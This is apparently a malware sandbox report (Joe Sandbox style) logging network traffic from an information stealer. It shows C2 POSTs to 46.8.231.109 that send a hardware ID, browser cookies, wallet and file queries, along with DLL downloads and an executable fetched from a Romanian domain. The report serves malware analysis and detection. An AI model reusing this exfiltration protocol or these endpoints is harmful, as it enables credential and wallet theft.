00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 34 38 43 38 30 41 38 31 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="hwid"5748C80A811D3663812181------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="build"default------IEHJDGIDBAAFIDGCGCAK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="message"browsers------IJKJDAFHJDHIEBGCFIDB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"plugins------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDBHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 2d 2d 0d 0a Data Ascii: ------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="message"fplugins------IIJDBGDGCGDAKFIDGIDB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 46.8.231.109Content-Length: 5599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGDHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVl
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 2d 2d 0d 0a Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file"------GDHIIDAFIDGCFHJJDGDA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAAHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file"------AFIEGIECGCBKFIEBGCAA--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"wallets------DHDAFBFCFHIDAKFIIEBA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="message"files------CAAKKFHCFIECAAAKEGCF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCFHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file"------JKJDAEBFCBKECBGDBFCF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="message"ybncbhylepme------EHCGIJDHDGDBGDGCGCFH--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAKHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAFIIJDAAAAKFHIDAAAK--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49791 -> 147.45.44.104:80

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: unknown

HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49865 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
